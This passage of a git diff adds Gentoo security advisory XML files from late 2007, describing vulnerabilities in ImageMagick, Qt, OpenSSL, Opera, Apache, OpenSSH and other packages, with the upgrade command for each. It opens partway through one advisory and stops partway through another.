+    handling certain types of images (CVE-2007-4986, CVE-2007-4988), and an
+    off-by-one error in the ReadBlobString() function (CVE-2007-4987).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    image, possibly resulting in the remote execution of arbitrary code
+    with the privileges of the user running the application, or an
+    excessive CPU consumption. Note that applications relying on
+    ImageMagick to process images can also trigger the vulnerability.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ImageMagick users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/imagemagick-6.3.5.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4985">CVE-2007-4985</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4986">CVE-2007-4986</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4987">CVE-2007-4987</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4988">CVE-2007-4988</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 30 Sep 2007 09:56:31 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 06 Oct 2007 12:45:56 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 23 Oct 2007 14:53:02 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-28.xml b/xml/htdocs/security/en/glsa/glsa-200710-28.xml
new file mode 100644
index 00000000..0177a39f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-28.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-28">
+  <title>Qt: Buffer overflow</title>
+  <synopsis>
+    An off-by-one vulnerability has been discovered in Qt, possibly resulting
+    in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">qt</product>
+  <announced>October 25, 2007</announced>
+  <revised>October 25, 2007: 01</revised>
+  <bug>192472</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-libs/qt" auto="yes" arch="*">
+      <unaffected range="ge">3.3.8-r4</unaffected>
+      <vulnerable range="lt">3.3.8-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Qt is a cross-platform GUI framework, which is used e.g. by KDE.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dirk Mueller from the KDE development team discovered a boundary error
+    in file qutfcodec.cpp when processing Unicode strings.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send a specially crafted Unicode string to a
+    vulnerable Qt application, possibly resulting in the remote execution
+    of arbitrary code with the privileges of the user running the
+    application. Note that the boundary error is present but reported to be
+    not exploitable in 4.x series.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Qt 3.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-libs/qt-3.3.8-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4137">CVE-2007-4137</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 15 Sep 2007 12:11:04 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 29 Sep 2007 13:54:49 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 29 Sep 2007 13:54:56 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-29.xml b/xml/htdocs/security/en/glsa/glsa-200710-29.xml
new file mode 100644
index 00000000..7be5d5a8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-29.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-29">
+  <title>Sylpheed, Claws Mail: User-assisted remote execution of arbitrary code</title>
+  <synopsis>
+    A format string error has been discovered in Sylpheed and Claws Mail,
+    potentially leading to the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">sylpheed claws-mail</product>
+  <announced>October 25, 2007</announced>
+  <revised>October 25, 2007: 01</revised>
+  <bug>190104</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/sylpheed" auto="yes" arch="*">
+      <unaffected range="ge">2.4.5</unaffected>
+      <vulnerable range="lt">2.4.5</vulnerable>
+    </package>
+    <package name="mail-client/claws-mail" auto="yes" arch="*">
+      <unaffected range="ge">3.0.0</unaffected>
+      <vulnerable range="lt">3.0.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Sylpheed and Claws Mail are two GTK based e-mail clients.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar from Secunia Research discovered a format string error
+    in the inc_put_error() function in file src/inc.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to connect to a malicious POP
+    server sending specially crafted replies, possibly resulting in the
+    execution of arbitrary code with the privileges of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sylpheed users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/sylpheed-2.4.5&quot;</code>
+    <p>
+    All Claws Mail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/claws-mail-3.0.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2958">CVE-2007-2958</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 08 Oct 2007 00:54:19 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 08 Oct 2007 02:57:28 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 09 Oct 2007 18:46:46 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-30.xml b/xml/htdocs/security/en/glsa/glsa-200710-30.xml
new file mode 100644
index 00000000..88b49f8b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-30.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-30">
+  <title>OpenSSL: Remote execution of arbitrary code</title>
+  <synopsis>
+    OpenSSL contains a vulnerability allowing execution of arbitrary code or a
+    Denial of Service.
+  </synopsis>
+  <product type="ebuild">openssl</product>
+  <announced>October 27, 2007</announced>
+  <revised>October 30, 2007: 03</revised>
+  <bug>195634</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/openssl" auto="yes" arch="*">
+      <unaffected range="ge">0.9.8f</unaffected>
+      <vulnerable range="lt">0.9.8f</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSL is an Open Source toolkit implementing the Secure Sockets Layer
+    (SSL v2/v3) and Transport Layer Security (TLS v1) as well as a general
+    purpose cryptography library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Andy Polyakov reported a vulnerability in the OpenSSL toolkit, that is
+    caused due to an unspecified off-by-one error within the DTLS
+    implementation.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this issue to execute arbitrary code or
+    cause a Denial of Service. Only clients and servers explicitly using
+    DTLS are affected, systems using SSL and TLS are not.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSSL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/openssl-0.9.8f&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4995">CVE-2007-4995</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 16 Oct 2007 17:07:11 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 16 Oct 2007 17:07:40 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 23 Oct 2007 17:06:07 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200710-31.xml b/xml/htdocs/security/en/glsa/glsa-200710-31.xml
new file mode 100644
index 00000000..44f2e528
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200710-31.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200710-31">
+  <title>Opera: Multiple vulnerabilities</title>
+  <synopsis>
+    Opera contains multiple vulnerabilities, which may allow the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">opera</product>
+  <announced>October 30, 2007</announced>
+  <revised>October 30, 2007: 01</revised>
+  <bug>196164</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">9.24</unaffected>
+      <vulnerable range="lt">9.24</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a multi-platform web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    Michael A. Puls II discovered an unspecified flaw when launching
+    external email or newsgroup clients (CVE-2007-5541). David Bloom
+    discovered that when displaying frames from different websites, the
+    same-origin policy is not correctly enforced (CVE-2007-5540).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could potentially exploit the first vulnerability to
+    execute arbitrary code with the privileges of the user running Opera by
+    enticing a user to visit a specially crafted URL. Note that this
+    vulnerability requires an external e-mail or newsgroup client
+    configured in Opera to be exploitable. The second vulnerability allows
+    an attacker to execute arbitrary script code in a user's browser
+    session in context of other sites or the theft of browser credentials.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time for all these
+    vulnerabilities.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Opera users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/opera-9.24&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5540">CVE-2007-5540</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5541">CVE-2007-5541</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 21 Oct 2007 22:07:58 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 22 Oct 2007 21:37:32 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-01.xml b/xml/htdocs/security/en/glsa/glsa-200711-01.xml
new file mode 100644
index 00000000..ddf38fac
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-01.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-01">
+  <title>gFTP: Multiple vulnerabilities</title>
+  <synopsis>
+    Two buffer overflow vulnerabilities have been discovered in fsplib code
+    used in gFTP.
+  </synopsis>
+  <product type="ebuild">gftp</product>
+  <announced>November 01, 2007</announced>
+  <revised>November 01, 2007: 01</revised>
+  <bug>188252</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-ftp/gftp" auto="yes" arch="*">
+      <unaffected range="ge">2.0.18-r6</unaffected>
+      <vulnerable range="lt">2.0.18-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    gFTP is an FTP client for the GNOME desktop environment.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kalle Olavi Niemitalo discovered two boundary errors in fsplib code
+    included in gFTP when processing overly long directory or file names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could trigger these vulnerabilities by enticing a
+    user to download a file with a specially crafted directory or file
+    name, possibly resulting in the execution of arbitrary code
+    (CVE-2007-3962) or a Denial of Service (CVE-2007-3961).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gFTP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-ftp/gftp-2.0.18-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3961">CVE-2007-3961</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3962">CVE-2007-3962</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 26 Sep 2007 07:30:16 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Sep 2007 07:30:24 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 10 Oct 2007 19:23:34 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-02.xml b/xml/htdocs/security/en/glsa/glsa-200711-02.xml
new file mode 100644
index 00000000..42c49602
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-02.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-02">
+  <title>OpenSSH: Security bypass</title>
+  <synopsis>
+    A flaw has been discovered in OpenSSH which could allow a local attacker to
+    bypass security restrictions.
+  </synopsis>
+  <product type="ebuild">openssh</product>
+  <announced>November 01, 2007</announced>
+  <revised>November 01, 2007: 01</revised>
+  <bug>191321</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/openssh" auto="yes" arch="*">
+      <unaffected range="ge">4.7</unaffected>
+      <vulnerable range="lt">4.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSH is a complete SSH protocol implementation that includes an SFTP
+    client and server support.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jan Pechanec discovered that OpenSSH uses a trusted X11 cookie when it
+    cannot create an untrusted one.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An attacker could bypass the SSH client security policy and gain
+    privileges by causing an X client to be treated as trusted.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSSH users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/openssh-4.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4752">CVE-2007-4752</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 25 Sep 2007 19:38:10 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 25 Sep 2007 19:38:18 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Sep 2007 12:20:41 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-03.xml b/xml/htdocs/security/en/glsa/glsa-200711-03.xml
new file mode 100644
index 00000000..5df61cbc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-03.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-03">
+  <title>Gallery: Multiple vulnerabilities</title>
+  <synopsis>
+    The WebDAV and Reupload modules of Gallery contain multiple unspecified
+    vulnerabilities.
+  </synopsis>
+  <product type="ebuild">gallery</product>
+  <announced>November 01, 2007</announced>
+  <revised>November 11, 2007: 02</revised>
+  <bug>191587</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/gallery" auto="yes" arch="*">
+      <unaffected range="ge">2.2.3</unaffected>
+      <unaffected range="lt">2.0</unaffected>
+      <vulnerable range="lt">2.2.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gallery is a PHP based photo album manager.
+    </p>
+  </background>
+  <description>
+    <p>
+    Merrick Manalastas and Nicklous Roberts have discovered multiple
+    vulnerabilities in the WebDAV and Reupload modules.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could exploit these vulnerabilities to bypass
+    security restrictions and rename, replace and change properties of
+    items, or edit item data using WebDAV.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gallery users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/gallery-2.2.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4650">CVE-2007-4650</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 25 Sep 2007 09:43:01 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 25 Sep 2007 09:46:35 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 15 Oct 2007 18:31:52 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-04.xml b/xml/htdocs/security/en/glsa/glsa-200711-04.xml
new file mode 100644
index 00000000..db1c5cc8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-04.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-04">
+  <title>Evolution: User-assisted remote execution of arbitrary code</title>
+  <synopsis>
+    The IMAP client of Evolution contains a vulnerability potentially leading
+    to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">evolution-data-server</product>
+  <announced>November 06, 2007</announced>
+  <revised>November 06, 2007: 01</revised>
+  <bug>190861</bug>
+  <access>remote</access>
+  <affected>
+    <package name="gnome-extra/evolution-data-server" auto="yes" arch="*">
+      <unaffected range="ge">1.10.3.1</unaffected>
+      <vulnerable range="lt">1.10.3.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Evolution is the mail client of the GNOME desktop environment. Camel is
+    the Evolution Data Server module that handles mail functions.
+    </p>
+  </background>
+  <description>
+    <p>
+    The imap_rescan() function of the file camel-imap-folder.c does not
+    properly sanitize the "SEQUENCE" response sent by an IMAP server before
+    being used to index arrays.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious or compromised IMAP server could trigger the vulnerability
+    and execute arbitrary code with the permissions of the user running
+    Evolution.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Note that this GLSA addresses the same issue as GLSA 200707-03, but for
+    the 1.10 branch of Evolution Data Server.
+    </p>
+    <p>
+    All Evolution users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=gnome-extra/evolution-data-server-1.10.3.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200707-03.xml">GLSA 200707-03</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3257">CVE-2007-3257</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 17 Sep 2007 21:12:59 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 17 Sep 2007 21:13:37 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 07 Oct 2007 19:29:33 +0000">
+    aetius
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-05.xml b/xml/htdocs/security/en/glsa/glsa-200711-05.xml
new file mode 100644
index 00000000..997aebfa
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-05.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-05">
+  <title>SiteBar: Multiple issues</title>
+  <synopsis>
+    Multiple issues have been identified in SiteBar that might allow execution
+    of arbitrary code and arbitrary file disclosure.
+  </synopsis>
+  <product type="ebuild">sitebar</product>
+  <announced>November 06, 2007</announced>
+  <revised>November 06, 2007: 01</revised>
+  <bug>195810</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/sitebar" auto="yes" arch="*">
+      <unaffected range="ge">3.3.9</unaffected>
+      <vulnerable range="lt">3.3.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SiteBar is a PHP application that allows users to store their bookmarks
+    on a web server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tim Brown discovered these multiple issues: the translation module does
+    not properly sanitize the value to the "dir" parameter (CVE-2007-5491,
+    CVE-2007-5694); the translation module also does not sanitize the
+    values of the "edit" and "value" parameters which it passes to eval()
+    and include() (CVE-2007-5492, CVE-2007-5693); the log-in command does
+    not validate the URL to redirect users to after logging in
+    (CVE-2007-5695); SiteBar also contains several cross-site scripting
+    vulnerabilities (CVE-2007-5692).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An authenticated attacker in the "Translators" or "Admins" group could
+    execute arbitrary code, read arbitrary files and possibly change their
+    permissions with the privileges of the user running the web server by
+    passing a specially crafted parameter string to the "translator.php"
+    file. An unauthenticated attacker could entice a user to browse a
+    specially crafted URL, allowing for the execution of script code in the
+    context of the user's browser, for the theft of browser credentials or
+    for a redirection to an arbitrary web site after login.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SiteBar users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/sitebar-3.3.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5491">CVE-2007-5491</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5492">CVE-2007-5492</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5692">CVE-2007-5692</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5693">CVE-2007-5693</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5694">CVE-2007-5694</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5695">CVE-2007-5695</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 18 Oct 2007 20:00:51 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 18 Oct 2007 20:01:07 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-06.xml b/xml/htdocs/security/en/glsa/glsa-200711-06.xml
new file mode 100644
index 00000000..bd05737e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-06.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-06">
+  <title>Apache: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Apache, possibly resulting
+    in a Denial of Service or the disclosure of sensitive information.
+  </synopsis>
+  <product type="ebuild">apache</product>
+  <announced>November 07, 2007</announced>
+  <revised>November 07, 2007: 01</revised>
+  <bug>186219</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/apache" auto="yes" arch="*">
+      <unaffected range="rge">2.0.59-r5</unaffected>
+      <unaffected range="ge">2.2.6</unaffected>
+      <vulnerable range="lt">2.2.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Apache HTTP server is one of the most popular web servers on the
+    Internet.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple cross-site scripting vulnerabilities have been discovered in
+    mod_status and mod_autoindex (CVE-2006-5752, CVE-2007-4465). An error
+    has been discovered in the recall_headers() function in mod_mem_cache
+    (CVE-2007-1862). The mod_cache module does not properly sanitize
+    requests before processing them (CVE-2007-1863). The Prefork module
+    does not properly check PID values before sending signals
+    (CVE-2007-3304). The mod_proxy module does not correctly check headers
+    before processing them (CVE-2007-3847).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit one of these vulnerabilities to inject
+    arbitrary script or HTML content, obtain sensitive information or cause
+    a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Apache users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/apache-2.0.59-r5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5752">CVE-2006-5752</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1862">CVE-2007-1862</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1863">CVE-2007-1863</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3304">CVE-2007-3304</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3847">CVE-2007-3847</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4465">CVE-2007-4465</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 25 Sep 2007 14:34:09 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 25 Sep 2007 14:34:48 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 15 Oct 2007 20:07:35 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200711-07.xml b/xml/htdocs/security/en/glsa/glsa-200711-07.xml
new file mode 100644
index 00000000..830e35a6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200711-07.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200711-07">
+  <title>Python: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple integer overflow vulnerabilities have been discovered in Python,
+    possibly resulting in the execution of arbitrary code or a Denial of
+    Service.
+  </synopsis>
+  <product type="ebuild">python</product>
+  <announced>November 07, 2007</announced>
+  <revised>November 07, 2007: 01</revised>
+  <bug>192876</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/python" auto="yes" arch="*">
+      <unaffected range="rge">2.3.6-r3</unaffected>
+      <unaffected range="ge">2.4.4-r6</unaffected>
